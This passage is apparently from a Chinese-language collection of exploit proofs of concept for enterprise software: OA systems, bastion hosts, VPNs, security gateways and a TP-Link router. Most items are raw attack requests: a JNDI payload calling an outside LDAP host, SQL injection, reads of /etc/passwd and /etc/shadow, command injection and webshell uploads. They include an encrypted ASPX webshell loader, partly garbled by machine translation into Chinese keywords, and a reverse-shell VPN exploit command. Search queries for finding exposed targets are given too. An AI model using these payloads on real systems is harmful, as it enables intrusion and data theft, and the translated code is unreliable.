User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4
Content-Length: 400
5
Content-Type: application/x-www-form-urlencoded
6
Accept-Encoding: gzip
7
cmd: id
8

9
argumentCollection=
10
<wddxPacket version='1.0'>
11
    <header/>
12
    <data>
13
        <struct type='xcom.sun.rowset.JdbcRowSetImplx'>
14
            <var name='dataSourceName'>
15
                <string>ldap://xxx.xxx.xxx:1234/Basic/TomcatEcho</string>
16
            </var>
17
            <var name='autoCommit'>
18
                <boolean value='true'/>
19
            </var>
20
        </struct>
21
    </data>
22
</wddxPacket>

91、Panel loadfile 后台文件读取漏洞

漏洞描述

1Panel后台存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息文件

POC

POST /api/v1/file/loadfile {“paht”:“/etc/passwd”}

92、金蝶云星空 CommonFileserver 任意文件读取漏洞

1
GET /CommonFileServer/c:/windows/win.ini

93、CODING平台idna目录存在目录遍历漏洞

1
Coding.net 是一个面向开发者的云端开发平台，提供 Git/SVN 代码托管、任务管理，在idna存在目录泄露漏洞，攻击者可获取目录文件信息。

94、中远麒麟堡垒机SQL注入

麒麟堡垒机用于运维管理的认证、授权、审计等监控管理。中远麒麟堡垒机存在SQL注入，可利用该漏洞获取系统敏感信息。

检索条件:

1
cert="Baolei"||title="麒麟堡垒机"||body="admin.php?controller=admin_index&action=get_user_login_fristauth"||body="admin.php?controller=admin_index&action=login"

POC

1
 relative: req0 && req1
2
  session: false
3
  requests:
4
  - method: POST
5
    timeout: 10
6
    path: /admin.php?controller=admin_commonuser
7
    headers:
8
      Content-Type: application/x-www-form-urlencoded
9
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
10
        like Gecko) Chrome/69.0.2786.81 Safari/537.36
11
    data: username=admin' AND (SELECT 6999 FROM (SELECT(SLEEP(5)))ptGN) AND 'AAdm'='AAdm
12
    follow_redirects: true
13
    matches: (code.eq("200") && time.gt("5") && time.lt("10"))
14
  - method: POST
15
    timeout: 10
16
    path: /admin.php?controller=admin_commonuser
17
    headers:
18
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
19
        like Gecko) Chrome/69.0.2786.81 Safari/537.36
20
      Content-Type: application/x-www-form-urlencoded
21
    data: username=admin
22
    follow_redirects: true
23
    matches: time.lt("5")

95、用友NC存在JNDI注入漏洞

POC待补充

96、OfficeWeb365 远程代码执行漏洞

1
【消息详情】：360漏洞云监测到网传《OfficeWeb365 远程代码执行漏洞》的消息，经漏洞云复核，确认为【真实】漏洞，漏洞影响【未知】版本，该漏洞标准化POC已经上传漏洞云情报平台，平台编号：360LDYLD-2023-00002453，情报订阅用户可登录漏洞云情报平台( https://loudongyun.360.cn/bug/list )查看漏洞详情。
2

3
360漏洞云监测到网传《OfficeWeb365远程代码执行漏洞》的消息，经漏洞云复核，确认为【真实】漏洞，漏洞影响【未知】版本，该漏洞标准化POC已经升级漏洞云情报平台，平台编号： 360LDYLD-2023-00002453

# 详细

1
POST /PW/SaveDraw?path=../../Content/img&idx=1.aspx HTTP/1.1
2
主持人：xxx
3
用户代理：Mozilla/5.0（Macintosh；Intel Mac OS X 10_15_7）AppleWebKit/537.36（KHTML，如 Gecko）Chrome/88.0.434.18 Safari/537.36
4
内容长度：2265
5
内容类型：application/x-www-form-urlencoded
6
接受编码：gzip、deflate
7
连接：关闭
8
数据:image/png;base64,01s34567890123456789y12345678901234567m91<%@ 页面语言="C#" %>
9
    <%@Import 命名空间="System.Reflection" %>
10
    <脚本运行=“服务器”>
11
               私有字节[]解密（字节[]数据）
12
        {
13
            字符串键=“e45e329feb5d925b”；
14
            数据 = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));
15
            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();
16
            aes.Mode = System.Security.Cryptography.CipherMode.ECB;
17
            aes.Key = Encoding.UTF8.GetBytes(key);
18
            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
19
            return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);
20
        }
21
        私有字节[]加密（字节[]数据）
22
        {
23
            字符串键=“e45e329feb5d925b”；
24
            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();
25
            aes.Mode = System.Security.Cryptography.CipherMode.ECB;
26
            aes.Key = Encoding.UTF8.GetBytes(key);
27
            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
28
            返回 System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length)));
29
        }
30
    </脚本>
31
        <%
32
        //byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);
33
                byte[] c=Request.BinaryRead(Request.ContentLength);
34
          string asname=System.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f, 0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79});
35
          类型程序集=Type.GetType(asname);
36
           MethodInfo load = assembly.GetMethod("Load",new Type[] {new byte[0].GetType()});
37
           对象 obj=load.Invoke(null, new object[]{Decrypt(c)});
38
           MethodInfo create = assembly.GetMethod("CreateInstance",new Type[] { "".GetType()});
39
           字符串名称 = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });
40
           object pay=create.Invoke(obj,new object[] { name });
41
           pay.Equals(this);%>>---

97、gitlab路径遍历读取任意文件漏洞

1
可能需要登录
2
GET /group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/uploads/4e02c376ac758e162ec674399741e38d//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

98、Hytec Inter HWL-2511-SS popen.cgi命令注入漏洞

1
title="index" && header="lighttpd/1.4.30"

POC

1
/cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137912

99、傲盾信息安全管理系统前台远程命令执行漏洞

1
漏洞描述：信息安全管理系统（ISMS）是IDC/ISP业务经营者建设的具有基础数据管理、访问日志管理、信息安全管理等功能的信息安全管理系统，该漏洞可未授权的情况下直接执行任意命令

1
相关信息：/user_management/sichuan_login
2

3
请求体：loginname=sysadmin&ticket=

100、蓝凌EKP系统存在未授权访问漏洞

1
漏洞描述：蓝凌EKP由深圳市蓝凌软件股份有限公司自出研发，是一款全程在线数字化OA，应用于大中型企业在线化办公。包含流程管理、知识管理、会议管理、公文管理、任务管理及督办管理等100个功能模块。攻击者可利用漏洞获取大量敏感信息。

1
Condition: body="蓝凌云服务平台"||(body="Landray"&&body="登录系统")||body="/scripts/jquery.landray.common.js"||body="java.landray.com.cn"||body="蓝凌软件"||(body="StylePath" && body="encryptPassword")

1
relative: req0
2
session: false
3
requests:
4
- method: GET
5
timeout: 10
6
path: /./ui-ext/./behavior/
7
headers:
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.2786.81 Safari/537.36
9
follow_redirects: false
10
matches: (code.eq("200") && body.contains("ekp_server.log"))

101、中远麒麟堡垒机tokens SQL

1
cert="Baolei"||title="麒麟堡垒机"||body="admin.php?controller=admin_index&action=get_user_login_fristauth"||body="admin.php?controller=admin_index&action=login"

1
POST /baoleiji/api/tokens HTTP/1.1
2

3
constr=1' AND (SELECT 6999 FROM (SELECT(SLEEP(5)))ptGN) AND 'AAdm' = 'AAdm'&title=%40127.0.0.1

102、明源ERP存在SQL时间盲注

1
漏洞描述：明源地产ERP系统具有丰富的房地产行业经验和定制化功能,可以适应不同企业的需求。该系统存在sqI注 入漏洞，可获取服务器权限

1
relative: req0 && req1
2
session: false
3
requests:
4
- method: GET
5
timeout: 13
6
path: /cgztbweb/VisitorWeb/VistorWeb_XMLHTTP.aspx?ParentCode=1';WAITFOR%20DELAT%20'0:0:5'--&ywtype=GETParentProjectName
7
headers:
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.2786.81 Safari/537.36
9
follow_redirects: true
10
matches: (time.gt("5")) && time.lt("10")
11
- method: GET
12
timeout: 10
13
path: /cgztbweb/VisitorWeb/VistorWeb_XMLHTTP.aspx?ParentCode=1';WAITFOR%20DELAT%20'0:0:0'--&ywtype=GETParentProjectName
14
headers:
15
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.2786.81 Safari/537.36
16
follow_redirects: true
17
matches: time.lt("5")

103、致远OA_V8.1SP2文件上传漏洞

1
POST /seeyon/ajax.do?method=ajaxAction&managerName=formulaManager&managerMethod=saveFormula4C1loud HTTP/1.1
2
Host:
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
4
Accept: */*
5
Referer:
6
Accept-Encoding: gzip, deflate
7
Accept-Language: zh-CN,zh;q=0.9
8
Cookie: JSESSIONID=5C25EFEF65A2B6A4C12848B88EA60639; loginPageURL=
9
Content-Type: multipart/form-data;
10
boundary=59229605f98b8cf290a7b8908b34616b
11
Accept-Encoding: gzip
12
Connection: close
13
Content-Length: 208
14

15
arguments={"formulaName":"test","formulaAlias":"safe_pre","formulaType":"2","formulaExpression":"","sample":"木马"}

104、致远 OA 协同管理软件无需登录 getshell

1
访问 ： ip/seeyon/htmlofficeservlet
2

3
如果出现下图所示的内容，表示存在漏洞。

1
构造POC
2

3
DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
4
OPTION=S3WYOSWLBSGr
5
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
6
CREATEDATE=wUghPB3szB3Xwg66
7
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
8
originalFileId=wV66
9
originalCreateDate=wUghPB3szB3Xwg66
10
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2
11
dEg6
12
needReadFile=yRWZdAS6
13
originalCreateDate=wLSGP4oEzLKAz4=iz=66
14
webshell

1
访问webshell

105、LiveBos ShowImage.do文件imgName参数读取漏洞

1
LiveBOS（简称LiveBOS）是顶点软件股份有限公司开发的一个对象型业务架构中间件及其集成开发工具。LiveBos ShowImage.do 文件imgName 参数存在文件读取漏洞，攻击者可以获取大量敏感信息。

1
Condition: body="LiveBos" || body="/react/browser/loginBackground.png"
2

3
/feed/ShowImage.do;.js.jsp?type=&imgName=../../../../../../../../../../../../../../../etc/passwd

106、Smart S85F 任意文件读取

1
GET /log/decodmail.php?file=L2V0Yy9gc2xlZXAke0lGU30xMGAucGNhcA== HTTP/1.1
2
Host: x.x.x.x
3
Cookie: PHPSESSID=c36d5527fd784aa29748b3b1c50be7bc
4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7
Accept-Encoding: gzip, deflate
8
Upgrade-Insecure-Requests: 1
9
Sec-Fetch-Dest: document
10
Sec-Fetch-Mode: navigate
11
Sec-Fetch-Site: none
12
Sec-Fetch-User: ?1
13
Te: trailers
14
Connection: close

107、东方通TongWeb多个历史漏洞

1
漏洞描述 ：东方通存在多个历史漏洞，可能会导致信息泄漏、任意代码执行等危害
2
漏洞类型：任意文件上传、远程代码执行等
3
影响版本：不明
4
漏洞状态：均为Nday，POC 未公开，官方已发布修复补丁
5
研判结果：确认存在，等级严重。
6

7
修复建议：
8
安装官方补丁
9
下载地址：https://tongtech.com/dft/download.html##;或联系官方售后提供产品补丁包及产品升级包安装咨询、远程技术支持或上门服务支持。 联系方式可参考: https://tongtech.com/dft/newsDetailhtml?id=102195
10

11
临时缓解方案
12
1)暂时关闭管理控制台(默认9060端口)或设置访问策略，仅允许可信的ip地址访问管理控制台。如暂时不需要使用管理控制台，可在/conf/tongwebxml中关闭管理控制台，将status的值设置为stopped，<http-listener name="system-http-listener"port="9060"status="stopped">
13

14
2)暂时关闭JMX(默认7200端口)或设置访问策略，仅允许可信的ip地址访问JMX。若不使用JMX7200端口采集Tongweb监控值，可关闭JMX端口，/conf/tongweb.xml中可关闭JMX，enabled 设为 false<imx-service port="7200"address="127.0.0.1"protocol="rmi"enabled="false">
15

16
补丁链接：https://tongtech.com/dft/download.html
17

18
补丁名称：
19
TongWeb安全升级补丁包SR-001.part1
20
TongWeb安全升级补丁包SR-001.part2
21
TongWeb安全升级补丁包SR-001.part3
22
TongWeb安全升级补丁包SR-002
23
TongWeb6&amp;7文件上传和下载功能安全升级补丁包
24
TongWeb应用服务器产品控制台安全升级补丁包
25
TongWeb6&amp;7命令行上传文件功能升级补丁
26
TongWeb5命令行上传文件功能升级补丁
27
TongWeb应用服务器产品控制台安全升级补丁包
28

29
安全运营中心建议：
30
1、建议云防开启高阻断策略，等修复完逐项放开
31
2、没上云防的功能重点监控，所有互联网扫描直接封堵

108、蓝凌oa文件上传漏洞

1
1. 接口上传带马的zip包（aaa绕waf）
2
（绕过WAF的内容有500k的大小，这里就不上传了，只写出相关特征）
3

4
POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1
5
X-Real-IP:
6
X-Forwarded-For:
7
Host:
8
X-Forwarded-Proto: https
9
X-B3-TraceId: a22c34f91eb9bd9e1326b3cc54aa23e9
10
X-B3-SpanId: a22c34f91eb9bd9e1326b3cc54aa23e9
11
Content-Length: 500817
12
Content-Type: multipart/form-data; boundary=********************1692085217190
13
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
14
Accept-Encoding: gzip, deflate
15
Cache-Control: no-cache
16
Pragma: no-cache
17
Accept: text/html, image/gif, image/jpeg,
18

19

20
2. 接口传参访问马
21
POST /resource/ui-component/themes/logs.jsp HTTP/1.1
22
X-Real-IP:
23
X-Forwarded-For:
24
Host:
25
X-Forwarded-Proto: https
26
X-B3-TraceId: 2b5ccdfac376359b2f4ead71fe65db9d
27
X-B3-SpanId: 2b5ccdfac376359b2f4ead71fe65db9d
28
Content-Length: 42500
29
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
31
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
32
Accept-Encoding: gzip, deflate
33
Cookie: SESSION=OWM5MjdiYjYtMjJjNy00OTlkLWJjNTktMTE1NDI3ZDhjMTc0; SERVERID=357e46e5f6aa75f389927a23b666915b|1692085247|1692083970
34
Upgrade-Insecure-Requests: 1
35
Sec-Fetch-Dest: document
36
Sec-Fetch-Mode: navigate
37
Sec-Fetch-Site: none
38
Sec-Fetch-User: ?1
39
Content-Type: application/x-www-form-urlencoded
40

41
3. 访问马 login.jsp

109、金和jc6存在任意文件上传漏洞

1
金和OA是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。因未对接口进行过滤限制，导致了任意文件的上传，可上传木马从而控制服务器
2
修复建议：
3
对上传⽂件的⼤⼩和类型进⾏校验，定义上传⽂件类型⽩名单。
4
检索语法：body="jc6/platform"

1
POC特征如下：
2
/C6/Jhsoft.Web.module/eformaspx/editeprint.aspx?key=writefile&filename=1.ashx&KeyCode=sxfZyQBw8yQ=&designpath=/C6/&typeid=&sPathfceform=./

1
poc:
2
relative: req0 && req1
3
session: false
4
get_variables:
5
- payload: base64Decode("SGVsbG8gV29ybGQgICAgIDg3IfileuploadCAgICAgICAgICAgICAwICAgICAgICAgICAgICAgIDUzMyAgICAgICAgICAgIA0KREJTVEVQPVJFSlRWRVZRDQpPUFRJT049VTBGV1JVWkpURVU9DQpGSUxFTkFNRT1MaTR2TGk0dmNIVmliR2xqTDJWa2FYUXZhVzVtYnk1cWMzQT0NCjwlb3V0LnByaW50bG4oIm9ubHkgdGVzdCIpOyU+DQo=")
6
requests:
7
- method: POST
8
  timeout: 35
9
  path: /jc6/OfficeServer
10
  headers:
11
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
12
      Gecko) Chrome/87.0.1482.110 Safari/537.36
13
    Content-Type: application/x-www-form-urlencoded
14
  data: '{{payload}}'
15
  follow_redirects: true
16
  matches: code.eq("200")
17
- method: GET
18
  timeout: 10
19
  path: /public/edit/info.jsp
20
  headers:
21
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
22
      Gecko) Chrome/87.0.1482.110 Safari/537.36
23
  follow_redirects: true
24
  matches: (code.eq("200") && body.contains("only test"))

110、深信服SG上网优化管理系统catjs.php任意文件读取漏洞

1
POST /php/catjs.php
2

3
["../../../../../../../../etc/shadow"]

111、亿赛通电子文档安全管理系统任意文件上传漏洞

同83

1
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
2
Host:
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
4
Accept: */*
5
Content-Length: 1
6

7
<shell内容>

112、明御 SQL注入

1
/cqztbweb/VisitorWeb/VisitorWeb_XMLHTTPaspx?ParentCode=1'

1
漏洞描述：时空智友企业流程化管控系统是使用JAVA开发为企业提供流程化管控的一款系统。时空智友企业流程化管控系统存在文件读取漏洞，攻击者可以读取文件获取敏感信息。

114、赛思SuccezBI前台任意文件上传

1
POST /succezbi/sz/commons/form/file/uploadChunkFile:guid=../tomcat/webapps/ROOT/&chunk=ss.jsp HTTP/1.1
2
Host: 10.168.4.99:808
3
Content-Length: 49564
4
Cache-Control: max-age=0
5
Upgrade-Insecure-Requests: 1
6
Origin: null
7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8GeAY18LCxR7XnVp
8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) Applewebkit/537.36 (KHTML, likeGecko) Chrome/106.9.. Safari/537.36
9
Accept:
10
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
11
Accept-Encoding: gzip， deflate
12
Accept-Language: zh-CN,zh;g=0.9
13
Cookie: JSESSIONID=7351EFC189410384FF702A41106FF4A2
14
Connection: close
15

16
-----WebKitFormBoundarv8GeAY18LCXR7XnVPContent-Disposition:
17
form-data; name="file"; filename="ww'
18
Content-Type: image/jpeg
19

20
webshell
21
-----WebKitFormBoundarv8GeAY18LCXR7XnVP
22
Content-Disposition: form-data; name="tijiao'
23

24
confirm
25
------WebKitFormBoundarv8GeAY18LCXR7XnVP--

1
webshell：http://xxx/ss.jsp

115、奇安信 qax vpn pwn溢出 rce（疑似投毒）

1
某信vpn pwn溢出，可执行命令反弹shell，不过设备底层的系统阉割掉了很多东西，怎么后利用大家自己研究吧。
2
远古版本的3某0界面的vpn只有很小一部分能打，q某x界面的大多数都能打（23年3月发布的这款之前）
3

4
一键反弹：
5

6
java -jar QaxVpnPwn.jar -t vpn网关地址 -p vpn网关端口 -re_t 反弹监听ip -re_p 反弹监听端口
7
example：
8
java -jar QaxVpnPwn.jar -t vpn.xxx.com -p 443 -re_t x.x.x.x -re_p xxx

1
以上漏洞来源：https://github.com/CyberSnakeSec/xaq-vpn-pwn
2
此项目作者也做了解释，也有其他师傅分析为投毒，是否投毒请自行判断

116、安恒明御安全网关rce

1
GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&$type=1&suffix=1|echo+"<%3fphp+eval(\$_POST[\"a\"]);?>"+>+.xxx.php HTTP/1.1
2
Host: xxx
3
Cookie: USGSESSID=495b895ddd42b82cd89a29f241825081
4
Pragma: no-cache
5
Cache-Control: no-cache
6
Upgrade-Insecure-Requests: 1
7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 16 0) Applewebkit/537.36 (KHTML likeGecko) Chrome/78.0.3994.108 Safari/537.36
8
Sec-Fetch-User: ?1
9
Accept:
10
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;g=0.8,application/signed-exchange;v=b3
11
Sec-Fetch-Site: none
12
Sec-Fetch-Mode: navigate
13
Accept-Encoding: gzip， deflate
14
Accept-Language: zh-CN,zh;q=0.9
15
Connection: close

1
shell: http://xxx/webui/.xxx.php

117、大华车载系统任意文件上传漏洞POC

1
POST /vehicleServer/carDev/icon/import/1?iconType=1 HTTP/1.1
2
Host: ip:port
3
Accept: */*
4
Accept-Encoding: gzip， deflate， br
5
Content-Length: 872
6
Content-Type: multipart/form-data; boundary=----63766573e5aegeegaa8cesaea4
7
User-Agent: Mozilla/5.0 (Windows NT 6.2: Win64: X64) Applewebkit/537.36 (KHTML, like Gecko) QtwebEngine/5.9.1 Chrome/56.0.2924.122 Safari/537.36
8

9
------63766573e5aegeegaa8cesaea4
10
Content-Disposition: form-data; name="file"; filename="test.jsp"
11
Content-ype: image/png
12

13
GIF89a
14
<%isp 马%>
15
------63766573e5ae9ee9aa8ce5aea4

1
马路径：GET /vehicleServer/carDev/icon/getIconList?nowTime=164605907220

118、禅道18.0~18.3 backstage命令注入

1
POST /zentaopms/www/index.php?m=zahost&f=create HTTP/1.1
2
Host: 127.0.0.1
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x64; rv:109.0) Gecko/20100101 Firefox/110.0
4
Accept: application/json，text/javascript，*/*; g=0.01
5
Accept-Language: zh-CN,zh;g=0.8,zh-Tw;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
6
Accept-Encoding: gzip， deflate
7
Referer: http://127.0.0.1/zentaopms/www/index.php?m=zahost&f=create
8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9
X-Requested-with: XMLHttpRequest
10
Content-Length: 134
11
Origin: http://127.0.0.1
12
Connection: close
13
Cookie: zentaosid=dhjpu2i3g5116j5eba85agl27f; lang=zh-cn; device=desktop; theme=default;tab=qa; windowwidth=1632; windowHeight=783
14
Sec-Fetch-Dest: empty
15
Sec-Fetch-Mode: cors
16
Sec-Fetch-Site: same-origin
17

18
vsoft=kvm&hostType=physical&name=penson&extranet=127.0.0,1%7Ccalc.exe&cpuCores=2&memory=16&diskSize=16&desc=&uid=640be59da4851&type=za

119、深信服应用交付系统RCE

1
语法：fid="iaytNA57019/kADk8Nev7g=="

1
POST /rep/login HTTP/1.1
2
Host: 1.1.1.1:85
3
Cookie: UEDC_LOGIN_POLICY_VALUE=checked
4
Content-Length: 124
5
Sec-Ch-Ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
6
Accept: */*
7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8
X-Requested-With: XMLHttpRequest
9
Sec-Ch-Ua-Mobile: ?0
10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
11
Sec-Ch-Ua-Platform: "Windows"
12
Origin: https://1.1.1.1
13
Sec-Fetch-Site: same-origin
14
Sec-Fetch-Mode: cors
15
Sec-Fetch-Dest: empty
16
Referer: https://1.1.1.1:85/rep/login
17
Accept-Encoding: gzip, deflate
18
Accept-Language: zh-CN,zh;q=0.9
19
Connection: close
20

21
clsMode=cls_mode_login%0Awhoami%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123

1
POST /rep/login HTTP/1.1
2
Host:
3
Cookie:
4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0s X 10.15: ry:109.0)Gecko/20100101 Firefox/115.0 Accept:text/html,application/xhtml+xml,application/xml;g=0,9, image/avif, image/webp,*/*;q=0.8
5
Accept-Language:zh-CN, zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
6
Accept-Encoding: gzip deflate
7
Upgrade-Insecure-Requests: 1
8
Sec-Fetch-Dest: document
9
Sec-Fetch-Mode: navigate
10
Sec-Fetch-Site: cross-site
11
Pragma: no-cache
12
Cache-Control: no-cache14
13
Te: trailers
14
Connection: close
15
Content-Type:application/x-www-form-urlencoded
16
Content-Length: 126
17

18
clsMode=cls_mode_login&index=index&log_type=report&page=login&rnd=0.7550103466497915&userID=admin%0Aid -a %0A&userPsw=tmbhuisq

120、ZKTeco BioTime存在密码重置漏洞(CVE-2023-38949)

暂无

121、Stakater Forecastle 存在路径遍历漏洞 (CVE-2023-40297)

暂无

122、锐捷数据库审计系统存在后台 downloadTcpDumpFiles 文件读取漏洞

暂无

123、泛微 E-Moblle 敏感信息泄露

暂无

124、亿赛通电子文档安全管理系统远程命令执行漏洞

1
0x01 影响版本
2

3
亿赛通电子文档安全管理系统
4

5
0x02 网络测绘
6

7
fofa: app="亿赛通-电子文档安全管理系统"
8
hunter: web.title="电子文档安全管理系统"
9

10
0x03 漏洞复现

1
POST /solr/flow/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22whoami%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.1383.67 Safari/537.36
3
Accept-Encoding: gzip, deflate
4
Accept: */*
5
Connection: close
6
Host:
7
Content-Length: 78
8

9
<?xml version="1.0" encoding="UTF-8"?>
10
    <RDF>
11
        <item/>
12
    </RDF>

125、TP-LINKTL-WR940N命令执行漏洞（CVE-2023-33538)

1
The PoC of TL-WR940NV4 is as follows:
2

3
GET /JFYRUKOAPAQZRKOC/userRpm/WlanNetworkRpm.htm?ssid1=TP-LINK_000012||reboot;&ssid2=TP-LINK_0000_2&ssid3=TP-LINK_0000_3&ssid4=TP-LINK_0000_4&region=101&band=0&mode=6&chanWidth=2&channel=15&rate=83&ap=1&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save HTTP/1.1
4
Host: 127.0.0.1:8081
5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8
Accept-Encoding: gzip, deflate
9
Connection: keep-alive
10
Referer: http://127.0.0.1:8081/JFYRUKOAPAQZRKOC/userRpm/WlanNetworkRpm.htm
11
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
12
Upgrade-Insecure-Requests: 1

1
The PoC of TL-WR940NV2 is as follows:
2

3
